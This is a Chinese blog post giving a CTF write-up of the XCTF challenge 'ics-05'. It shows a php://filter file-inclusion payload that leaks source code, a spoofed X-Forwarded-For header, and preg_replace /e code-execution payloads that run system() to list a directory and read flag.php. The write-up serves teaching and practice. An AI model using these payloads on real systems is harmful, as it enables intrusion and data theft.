攻防世界XCTF:ics-05

图一根据提示来到设备维护中心
图二
查看源码可以发现这里隐藏了个超链接变量传参,看到变量传参,有可能存在文件包含漏洞读取源码,然后这个站又是php的站,那么使用php伪协议读取源码:

?page=php://filter/read=convert.base64-encode/resource=index.php

图三
出现了base64编码过的源码,使用base64解码后得到源码,漏洞点是这一块代码

<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

分析代码可知,当X-forwarded-for=127.0.0.1的时候,如果这时候传三个参数进去pat,rep,sub 会触发preg_replace()函数,而preg_replace()函数有个漏洞。
首先来了解一下preg_replace()这个函数:

preg_replace 函数执行一个正则表达式的搜索和替换

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

• $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
• $replacement: 用于替换的字符串或字符串数组。
• $subject: 要搜索替换的目标字符串或字符串数组。
• $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
• $count: 可选,为替换执行的次数。

然而这个函数有个漏洞
当$pattern使用了/e修正符,替换的时候会把$replacement替换进去的代码当成php代码执行,当然要构成合法的php代码才能正确执行。

这样的话,思路就很明显了,抓包改包,增加一个参数,X-Forwarded-For: 127.0.0.1
图四接着查s3chahahaDir这个文件夹,这里需要注意一些字符转化为URL编码,因为从URL传入的值都是会有一层URL编码的
空格用 %20 或者 + 代替
**&**用 %26

?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%26ls')&sub=mochu

图五获取flag.php的内容

?pat=/mochu/e&rep=system('cd%20s3chahahaDir%26%26cat%20flag.php')&sub=mochu

图六

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末 初

谢谢老板!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值